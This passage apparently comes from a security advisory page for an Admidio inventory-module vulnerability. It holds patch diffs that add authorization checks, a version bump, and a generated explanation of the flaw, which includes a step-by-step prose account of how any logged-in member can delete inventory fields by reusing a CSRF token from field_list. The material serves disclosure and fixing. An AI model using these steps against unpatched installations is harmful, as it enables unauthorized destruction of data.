    +            throw new Exception('SYS_NO_RIGHTS');
    +        }
    +
             // Confirm cache picture
             // check form field input and sanitized it from malicious content
             $itemPictureUploadForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
    @@ -293,6 +344,11 @@ public function saveItemPicture(): void
         {
             global $gLogger, $gSettingsManager, $gCurrentSession;
     
    +        // check if the current user is authorized to edit the item
    +        if (!$this->isEditable()) {
    +            throw new Exception('SYS_NO_RIGHTS');
    +        }
    +
             if ($gSettingsManager->getInt('inventory_item_picture_storage') === 1) {
                 // Save picture in the file system
     
    @@ -341,6 +397,12 @@ public function saveItemPicture(): void
         public function deleteItemPicture(): void
         {
             global $gLogger, $gSettingsManager;
    +
    +        // check if the current user is authorized to edit the item
    +        if (!$this->isEditable()) {
    +            throw new Exception('SYS_NO_RIGHTS');
    +        }
    +
             if ($gSettingsManager->getInt('inventory_item_picture_storage') === 1) {
                 // Folder storage, delete file
                 $filePath = ADMIDIO_PATH . FOLDER_DATA . '/inventory_item_pictures/' . $this->itemRessource->getItemId() . '.jpg';
    
  • src/Inventory/ValueObjects/ItemsData.php+56 0 modified
    @@ -119,6 +119,30 @@ public function __wakeup()
             }
         }
     
    +    /**
    +     * Check if the current user is authorized to edit specific item data
    +     *
    +     * @return bool            true if the user is authorized
    +     * @throws Exception
    +     */
    +    public function isEditable(): bool
    +    {
    +        global $gSettingsManager, $gCurrentUser;
    +
    +        $keeper = $this->getValue('KEEPER', 'database');
    +        // check if the user has admin rights
    +        if ($gCurrentUser->isAdministratorInventory()) {
    +            return true;
    +        }
    +        // if user has no amin rights, check if user is keeper of the item and if keepers are allowed to edit the item
    +        elseif ($gSettingsManager->getInt('inventory_module_enabled') !== 3 && $gSettingsManager->getBool('inventory_allow_keeper_edit')) {
    +            if ($keeper === $gCurrentUser->getValue('usr_id')) {
    +                return true;
    +            }
    +        }
    +        return false;
    +    }
    +
         /**
          * Item data of all item fields will be initialized
          * the fields array will not be renewed
    @@ -926,6 +950,11 @@ public function setValue(string $fieldNameIntern, mixed $newValue): bool
         {
             global $gSettingsManager;
     
    +        // check if the current user is authorized to edit the item
    +        if (!$this->isEditable()) {
    +            throw new Exception('SYS_NO_RIGHTS');
    +        }
    +
             $infId = $this->mItemFields[$fieldNameIntern]->getValue('inf_id');
             $oldFieldValue = '';
             // default prefix is 'ind_' for item data
    @@ -1026,6 +1055,13 @@ public function setValue(string $fieldNameIntern, mixed $newValue): bool
          */
         public function createNewItem(string $catUUID): void
         {
    +        global $gCurrentUser;
    +
    +        // check if user has admin rights for inventory
    +        if (!$gCurrentUser->isAdministratorInventory()) {
    +            throw new Exception('SYS_NO_RIGHTS');
    +        }
    +
             // If an error occurred while generating an item, there is an ItemId but no data for that item.
             // the following routine deletes these unused ItemIds
             $sql = 'SELECT * FROM ' . TBL_INVENTORY_ITEMS . '
    @@ -1077,6 +1113,11 @@ public function createNewItem(string $catUUID): void
          */
         public function deleteItem(): void
         {
    +        // check if the current user is authorized to edit the item
    +        if (!$this->isEditable()) {
    +            throw new Exception('SYS_NO_RIGHTS');
    +        }
    +
             // Log record deletion, then delete
             $item = new Item($this->mDb, $this, $this->mItemId);
             $item->logDeletion();
    @@ -1102,6 +1143,11 @@ public function deleteItem(): void
          */
         public function retireItem(): void
         {
    +        // check if the current user is authorized to edit the item
    +        if (!$this->isEditable()) {
    +            throw new Exception('SYS_NO_RIGHTS');
    +        }
    +
             // get the option id of the retired status
             $option = new SelectOptions($this->mDb, $this->getProperty('STATUS', 'inf_id'));
             $values = $option->getAllOptions();
    @@ -1129,6 +1175,11 @@ public function retireItem(): void
          */
         public function reinstateItem(): void
         {
    +        // check if the current user is authorized to edit the item
    +        if (!$this->isEditable()) {
    +            throw new Exception('SYS_NO_RIGHTS');
    +        }
    +
             // get the option id of the in use status
             $option = new SelectOptions($this->mDb, $this->getProperty('STATUS', 'inf_id'));
             $values = $option->getAllOptions();
    @@ -1156,6 +1207,11 @@ public function reinstateItem(): void
          */
         public function saveItemData(): void
         {
    +        // check if the current user is authorized to edit the item
    +        if (!$this->isEditable()) {
    +            throw new Exception('SYS_NO_RIGHTS');
    +        }
    +
             global $gCurrentUser;
             $this->mDb->startTransaction();
             $inbId = 0; // used for item borrow data
    
8f7a2884e9dc

set version to 5.0.10

https://github.com/admidio/admidioMarkus FaßbenderMay 18, 2026Fixed in 5.0.10via release-tag
1 file changed · +1 1
  • system/bootstrap/constants.php+1 1 modified
    @@ -23,7 +23,7 @@
     
     const ADMIDIO_VERSION_MAIN = 5;
     const ADMIDIO_VERSION_MINOR = 0;
    -const ADMIDIO_VERSION_PATCH = 9;
    +const ADMIDIO_VERSION_PATCH = 10;
     const ADMIDIO_VERSION_BETA = 0;
     
     const ADMIDIO_VERSION = ADMIDIO_VERSION_MAIN . '.' . ADMIDIO_VERSION_MINOR . '.' . ADMIDIO_VERSION_PATCH;
    

Vulnerability mechanics

Root cause

"Missing authorization check: `ItemField::delete()` and its callers do not verify `isAdministratorInventory()` before deleting a field, unlike the sibling `save()` method which does enforce this check."

Attack vector

An attacker only needs a valid login session (any organisation member account) under the default `inventory_module_enabled=2` setting, which gates access solely on `$gValidLogin` [ref_id=1]. The attacker visits `inventory.php?mode=field_list` to obtain the session's CSRF token from the JSON response, then sends a single POST to `inventory.php?mode=field_delete` with the target field's UUID and the captured token. No administrator privileges are required, and the CSRF token is trivially available from the attacker's own session [ref_id=1].

Affected code

The vulnerability resides in `modules/inventory.php` in the `case 'field_delete':` handler (line 123), which only validates a session-bound CSRF token but lacks an `isAdministratorInventory()` check. The same missing gate affects `ItemFieldService::delete()` in `src/Inventory/Service/ItemFieldService.php` and `ItemField::delete()` in `src/Inventory/Entity/ItemField.php`. Unlike `ItemField::save()`, which enforces `$gCurrentUser->isAdministrator()`, the delete path has no authorization check at the controller, service, or entity layer.

What the fix does

Patch [patch_id=3130368] adds an explicit `isAdministratorInventory()` check at the top of `case 'field_delete':` in `modules/inventory.php`, matching the pattern previously applied to `item_delete`. It also adds the same gate to `ItemFieldService::delete()`, `ItemField::delete()`, and all sibling state-changing handlers (`delete_option_entry`, `sequence`, `item_retire`, `item_reinstate`, `item_picture_delete`). Patch [patch_id=3130367] removes a redundant `setValue()` gate in `ItemField.php` that was added in the first patch and fixes PostgreSQL compatibility in SQL queries. Together these patches ensure that only users with `isAdministratorInventory()` rights can delete or modify inventory fields.

Preconditions

  • configThe inventory module must be enabled with a setting that does not require administrator rights (default is `inventory_module_enabled=2`, which only requires a valid login).
  • authThe attacker must have a valid user session (any logged-in organisation member account).
  • inputThe attacker must know or enumerate the UUID of a non-system inventory field (obtainable via `field_list`).
  • inputThe attacker must obtain the session's CSRF token, which is embedded in the `field_list` page response.

Generated on May 29, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

2

News mentions

0

No linked articles in our index yet.